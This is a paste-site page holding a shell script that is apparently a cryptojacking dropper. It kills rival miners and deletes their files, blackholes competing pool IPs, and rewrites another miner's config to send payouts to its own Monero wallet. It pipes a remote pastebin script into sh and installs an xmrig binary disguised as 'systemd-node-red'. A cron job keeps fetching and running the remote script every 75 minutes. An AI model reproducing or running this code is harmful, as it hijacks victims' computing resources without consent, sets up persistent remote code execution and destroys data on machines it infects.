Guest

Untitled 1961

May 15th, 2026
252
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 28.29 KB | None | 0 0
  1. #!/bin/sh
  2. CUSTOM_ARG="${1:-x}"
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38. kill_and_remove_process() {
  39. local term="$1"
  40. if [ -z "$term" ]; then
  41. echo "term not provided."
  42. return 2
  43. fi
  44.  
  45. local pids
  46. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  47.  
  48. if [ -z "$pids" ]; then
  49. return 1
  50. fi
  51.  
  52. for pid in $pids; do
  53. local exe_path
  54. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  55.  
  56. if [ -z "$exe_path" ]; then
  57. echo "Skipping PID $pid"
  58. continue
  59. fi
  60.  
  61. # SAFETY CHECK: Exclude common system binary paths
  62. case "$exe_path" in
  63. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  64. echo "Skipping system binary for PID $pid at: $exe_path"
  65. continue # Move to the next PID
  66. ;;
  67. esac
  68.  
  69. # If the checks pass, proceed with termination and deletion
  70. echo "Terminating non-system process '$term' with PID: $pid"
  71. kill -9 "$pid"
  72.  
  73. if [ -f "$exe_path" ]; then
  74. echo "Deleting executable: $exe_path"
  75. rm -f "$exe_path"
  76. if [ $? -eq 0 ]; then
  77. echo "Executable successfully deleted."
  78. else
  79. echo "Error: Failed to delete executable. Check permissions."
  80. fi
  81. else
  82. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  83. fi
  84. done
  85.  
  86. return 0
  87. }
  88.  
  89.  
  90. kill_and_remove_process "crazyeltonproxy" || true
  91. kill_and_remove_process "xmrig" || true
  92. kill_and_remove_process "monero" || true
  93. kill_and_remove_process "c3pool.org:80" || true
  94. kill_and_remove_process "kryptex.network" || true
  95. kill_and_remove_process "/bin/watcher" || true
  96. kill_and_remove_process "nuclear" || true
  97. kill_and_remove_process "45.94.31.89" || true
  98. kill_and_remove_process "hosts-to-ignore" || true
  99. kill_and_remove_process "supportxmr" || true
  100. kill_and_remove_process "youyutebuae.xyz" || true
  101. kill_and_remove_process "/lib/systemd/cache/health-monitor" || true
  102. kill_and_remove_process ".rsyslogd" || true
  103. ip route add blackhole 45.94.31.89 || true
  104. ip route add blackhole 139.59.59.33 || true
  105. ip route add blackhole 84.21.173.223 || true
  106. ip route add blackhole 142.132.131.238 || true
  107. ip route add blackhole 154.89.152.115 || true
  108. rm -rf /bin/softirq || true
  109. rm -rf /var/tmp/.rsyslogd || true
  110. rm -rf /lib/systemd/cache/health-monitor || true
  111. rm -rf /usr/local/bin/watcher || true
  112. rm -rf /tmp/runnv/* || true
  113. rm -rf /lib/systemd/cache/asset-indexer || true
  114. rm -rf /tmp/nuclear || true
  115. mkdir -p /tmp/nuclear || true
  116. mkdir -p /lib/systemd/cache/health-monitor || true
  117. mkdir -p /var/tmp/.rsyslogd || true
  118. mkdir -p /lib/systemd/cache/asset-indexer || true
  119. mkdir -p /tmp/runnv/lived.sh || true
  120. mkdir -p /tmp/runnv/alive.sh || true
  121. mkdir -p /bin/softirq || true
  122. mkdir -p /usr/local/bin/watcher || true
  123.  
  124.  
  125. safe_patch_args() {
  126. TARGET_FILE='/lib/systemd/cache/process-watcher'
  127. NEW_VALUE='-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p ZZZ'
  128.  
  129. [ -f "$TARGET_FILE" ] || { echo "[WARN] missing: $TARGET_FILE" >&2; return 0; }
  130.  
  131. ESCAPED_VALUE=$(printf '%s' "$NEW_VALUE" | sed 's/[\/&]/\\&/g') || return 0
  132.  
  133. if grep -q '^XMRIG_ARGS="[^"]*"$' "$TARGET_FILE"; then
  134. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$ESCAPED_VALUE\"/" "$TARGET_FILE" || :
  135. else
  136. printf '\nXMRIG_ARGS="%s"\n' "$NEW_VALUE" >> "$TARGET_FILE" || :
  137. fi
  138. }
  139.  
  140. safe_patch_args
  141.  
  142. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  143.  
  144.  
  145.  
  146. # ---- proxy probe ----
  147. M4B_PROXY_STATUS="off"
  148.  
  149. m4b_proxy_is_on() {
  150. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  151. return 0
  152. fi
  153. return 1
  154. }
  155.  
  156. m4b_proxy_probe() {
  157. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  158.  
  159. rc=1
  160. (
  161. # isolate probe from global `set -e`
  162. set +e
  163. if wget -qO- "$url" 2>/dev/null | sh; then
  164. exit 0
  165. fi
  166. if curl -fsSL "$url" 2>/dev/null | sh; then
  167. exit 0
  168. fi
  169. exit 1
  170. ) >"$tmp_log" 2>&1 || rc=$?
  171.  
  172. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  173. i=1
  174. while [ "$i" -le 5 ]; do
  175. if m4b_proxy_is_on; then
  176. M4B_PROXY_STATUS="on"
  177. echo "PROXYYYY ONN BABY"
  178. rm -f "$tmp_log" 2>/dev/null || true
  179. return 0
  180. fi
  181. i=$((i + 1))
  182. sleep 2
  183. done
  184. fi
  185.  
  186. M4B_PROXY_STATUS="off"
  187. echo "No PROXY"
  188. rm -f "$tmp_log" 2>/dev/null || true
  189. return 0
  190. }
  191. # ---- end proxy probe ----
  192.  
  193. m4b_proxy_probe
  194.  
  195.  
  196.  
  197. is_process_running() {
  198. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  199. return 0 # Process is running
  200. else
  201. return 1 # Process is not running
  202. fi
  203. }
  204.  
  205. get_cpu_cores() {
  206. if [ -f /proc/cpuinfo ]; then
  207. grep -c '^processor' /proc/cpuinfo
  208. elif command -v nproc >/dev/null; then
  209. nproc
  210. elif command -v sysctl >/dev/null; then
  211. sysctl -n hw.ncpu 2>/dev/null || echo 1
  212. else
  213. echo 1
  214. fi
  215. }
  216.  
  217. create_cronjob() {
  218. local cron_command
  219. if command -v curl >/dev/null; then
  220. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  221. elif command -v wget >/dev/null; then
  222. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  223. else
  224. log "Error: Cannot create cron job, neither curl nor wget is available."
  225. return 1
  226. fi
  227.  
  228. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  229. log "Cron job successfully configured."
  230. }
  231.  
  232. CPU_CORES=$(get_cpu_cores)
  233. if [ "$CPU_CORES" -le 3 ]; then
  234. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  235. exit 0
  236. fi
  237. log "CPU core count ($CPU_CORES) is sufficient."
  238.  
  239.  
  240. if [ ! -f /etc/alpine-release ]; then
  241. log "Not an Alpine Linux environment. Executing fallback script."
  242. if command -v curl >/dev/null; then
  243. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash -s -- "$CUSTOM_ARG"
  244. elif command -v wget >/dev/null; then
  245. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash -s -- "$CUSTOM_ARG"
  246. else
  247. log "Error: Neither curl nor wget is available for fallback execution."
  248. exit 1
  249. fi
  250. exit 0
  251. fi
  252.  
  253. if is_process_running; then
  254. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  255. exit 0
  256. fi
  257.  
  258. CPU_CORES=$(get_cpu_cores)
  259. if [ "$CPU_CORES" -le 3 ]; then
  260. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  261. exit 0
  262. fi
  263. log "CPU core count ($CPU_CORES) is sufficient."
  264.  
  265.  
  266.  
  267. USER_ID=$(id -u)
  268. if [ "$USER_ID" -eq 0 ]; then
  269. log "Running as root. System-wide installation will be performed."
  270. INSTALL_DIR="/usr/local/bin"
  271. else
  272. log "Running as non-root user. Installing locally to $HOME/.app"
  273. INSTALL_DIR="/tmp/.app"
  274. fi
  275.  
  276. mkdir -p "$INSTALL_DIR"
  277.  
  278. if [ "$USER_ID" -ne 0 ]; then
  279. export PATH="$INSTALL_DIR:$PATH"
  280. fi
  281.  
  282. if [ "$USER_ID" -eq 0 ]; then
  283. if ! command -v crontab >/dev/null; then
  284. log "Warning: 'crontab' not found. Attempting to install 'cron' as root."
  285. apk add --no-cache cron
  286. rc-update add crond default
  287. rc-service crond start
  288. log "Cron installed and started."
  289. fi
  290. else
  291. if ! command -v crontab >/dev/null; then
  292. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  293. fi
  294. fi
  295.  
  296. TMP_DIR=$(mktemp -d)
  297. cd "$TMP_DIR"
  298.  
  299. DOWNLOAD_URL="$PROGRAM_URL"
  300. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  301.  
  302. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  303. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  304. DOWNLOAD_URL="$PROGRAM_URL2"
  305. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  306. fi
  307.  
  308. log "$LOG_MESSAGE"
  309. if command -v curl >/dev/null; then
  310. curl -fsSLk -o "xmrig-vrl" "$DOWNLOAD_URL"
  311. elif command -v wget >/dev/null; then
  312. wget -qO "xmrig-vrl" "$DOWNLOAD_URL"
  313. else
  314. log "Error: Neither curl nor wget is available to download the program."
  315. rm -rf "$TMP_DIR"
  316. exit 1
  317. fi
  318.  
  319.  
  320.  
  321. log "Now its protobin..."
  322. #tar -xzf "program.tar.gz"
  323. #tar -xf "program.tar.gz"
  324.  
  325. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  326. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  327.  
  328. if [ -z "$BINARY_PATH" ]; then
  329. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  330. exit 1
  331. fi
  332.  
  333. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  334. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  335. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  336.  
  337. log "Executing '$RENAMED_BINARY' from PATH..."
  338. "$RENAMED_BINARY" ${BINARY_ARGS} &
  339. sleep 3
  340.  
  341. if ! is_process_running; then
  342. log "Error: Program failed to start or exited prematurely."
  343. exit 1
  344. fi
  345. log "Success: Program is now running in the background."
  346.  
  347. create_cronjob "$SCRIPT_URL"
  348.  
  349. log "Script execution completed successfully."
  350.  
  351. exit 0
RAW Paste Data Copied